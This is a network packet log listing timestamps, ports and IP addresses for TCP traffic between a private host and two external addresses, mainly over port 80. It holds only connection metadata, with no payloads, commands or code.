Nov 28, 2024 17:24:43.980305910 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:43.980384111 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:43.980384111 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:43.980593920 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:43.980720043 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:43.980763912 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:43.981123924 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:43.981178999 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:43.981298923 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:43.981384993 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:43.981846094 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:43.981879950 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:43.981894016 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:43.981916904 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:43.982381105 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:43.982426882 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:43.982465029 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:43.982501984 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:43.983155966 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:43.983200073 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:43.983236074 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:43.983284950 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:43.983797073 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:43.983843088 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:43.983863115 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:43.983999014 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:43.984568119 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:43.984648943 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:43.984699011 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:43.984750032 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:43.985250950 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:43.985291004 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:43.985379934 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:43.985434055 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:43.985974073 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:43.986011982 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:43.986031055 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:43.986068964 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:43.986726999 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:43.986768007 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:43.986988068 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:43.987061024 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:43.987452984 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:43.987548113 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:43.987592936 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:43.988090992 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:43.988140106 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:43.988209009 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:43.988248110 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:43.988801956 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:43.988851070 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:43.988995075 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:43.989032984 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:43.989542007 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:43.989578962 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:43.989578962 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:43.989610910 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:43.990221024 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:43.990334034 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:43.990355015 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:43.990371943 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:43.991010904 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:43.991053104 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:43.991117001 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:43.991168976 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:43.991689920 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:43.991734982 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:43.992082119 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:43.992141962 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:43.992451906 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:43.992559910 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:43.992872953 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:43.992922068 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:43.993199110 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:43.993212938 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:43.993258953 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:43.993828058 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:43.993875027 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:43.994131088 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:43.994170904 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:43.994505882 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:43.994569063 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:43.994816065 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:43.994856119 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:43.995244026 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:43.995287895 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:43.995292902 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:43.995326042 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:43.995956898 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:43.996009111 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:43.996063948 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:43.996104002 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:43.996675968 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:43.996756077 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:43.996794939 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:43.996836901 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:43.997411966 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:43.997514009 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:43.997560978 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:43.998116970 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:43.998172998 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:43.998223066 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:43.998265028 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:43.998817921 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:43.998889923 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:43.999237061 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:43.999452114 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:43.999547958 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:43.999583960 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:43.999702930 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:43.999746084 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:44.000263929 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:44.000304937 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:44.000469923 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:44.000515938 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:44.000927925 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:44.000969887 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:44.000993967 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:44.001029968 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:44.001720905 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:44.001733065 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:44.001773119 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:44.001787901 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:44.002422094 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:44.002463102 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:44.002497911 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:44.002546072 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:44.105922937 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:44.106033087 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:44.106059074 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:44.106225967 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:44.106388092 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:44.106411934 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:44.106734991 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:44.106781006 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:44.106883049 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:44.106947899 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:44.107357025 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:44.107506037 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:44.107650995 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:44.107687950 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:44.107711077 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:44.108444929 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:44.108561039 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:44.108608007 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:44.108925104 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:44.109009981 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:44.109029055 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:44.109198093 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:44.109606028 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:44.109668016 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:44.109850883 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:44.110321045 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:44.110420942 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:44.110445976 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:44.110979080 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:44.111083984 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:44.111115932 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:44.111186981 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:44.111764908 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:44.111849070 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:44.111891031 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:44.111943007 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:44.112504005 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:44.112617016 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:44.112654924 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:44.112771988 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:44.113217115 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:44.113230944 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:44.113550901 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:44.113867044 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:44.113990068 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:44.114012957 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:44.114083052 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:44.114588976 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:44.114639044 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:44.114739895 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:44.115020990 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:44.115298033 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:44.115420103 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:44.115533113 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:44.116064072 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:44.116123915 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:44.116148949 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:44.116313934 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:44.116796970 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:44.116934061 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:44.116955042 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:44.117062092 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:44.117486000 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:44.117499113 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:44.117597103 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:44.118185997 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:44.118311882 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:44.118335009 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:44.118594885 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:44.118872881 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:44.118947029 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:44.118976116 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:44.119185925 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:44.119601011 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:44.119697094 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:44.119697094 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:44.119790077 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:44.120469093 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:44.120559931 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:44.120582104 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:44.120804071 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:44.121329069 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:44.121392012 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:44.121428967 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:44.121489048 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:44.161627054 CET	443	49867	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:44.162230015 CET	49867	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:44.162254095 CET	443	49867	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:44.162777901 CET	49867	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:44.162784100 CET	443	49867	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:44.181989908 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:44.182231903 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:44.182255030 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:44.182353973 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:44.182374001 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:44.182378054 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:44.182521105 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:44.183084965 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:44.183129072 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:44.183156013 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:44.183398962 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:44.183506012 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:44.183595896 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:44.183614969 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:44.183753967 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:44.184216976 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:44.184273958 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:44.184298992 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:44.184408903 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:44.184931993 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:44.185058117 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:44.185069084 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:44.185214996 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:44.185628891 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:44.185697079 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:44.185717106 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:44.185806990 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:44.186362982 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:44.186436892 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:44.186456919 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:44.186537981 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:44.187058926 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:44.187150002 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:44.187175035 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:44.187398911 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:44.187766075 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:44.187834978 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:44.187865973 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:44.187942982 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:44.188482046 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:44.188589096 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:44.188612938 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:44.188800097 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:44.189373970 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:44.189469099 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:44.189503908 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:44.189615011 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:44.189938068 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:44.190042019 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:44.190061092 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:44.190195084 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:44.190690041 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:44.190761089 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:44.190896988 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:44.190948963 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:44.191380978 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:44.191503048 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:44.191508055 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:44.191617012 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:44.192251921 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:44.192327976 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:44.192522049 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:44.192599058 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:44.192876101 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:44.192996025 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:44.193109989 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:44.193257093 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:44.193500996 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:44.193569899 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:44.193593025 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:44.193696976 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:44.194204092 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:44.194338083 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:44.194339037 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:44.194447041 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:44.194935083 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:44.195013046 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:44.195374966 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:44.195460081 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:44.195750952 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:44.195935965 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:44.195993900 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:44.196057081 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:44.196628094 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:44.196783066 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:44.197086096 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:44.197204113 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:44.197499990 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:44.197515011 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:44.197628975 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:44.197952032 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:44.198038101 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:44.198227882 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:44.198348999 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:44.198548079 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:44.198559046 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:44.198622942 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:44.198622942 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:44.199210882 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:44.199269056 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:44.199289083 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:44.199448109 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:44.199949026 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:44.200011969 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:44.200025082 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:44.200272083 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:44.200648069 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:44.200788021 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:44.200840950 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:44.200840950 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:44.201437950 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:44.201529026 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:44.201554060 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:44.201663971 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:44.202085018 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:44.202181101 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:44.202205896 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:44.202266932 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:44.202794075 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:44.202929020 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:44.202943087 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:44.203074932 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:44.203541040 CET	80	49813	185.215.113.206	192.168.2.6
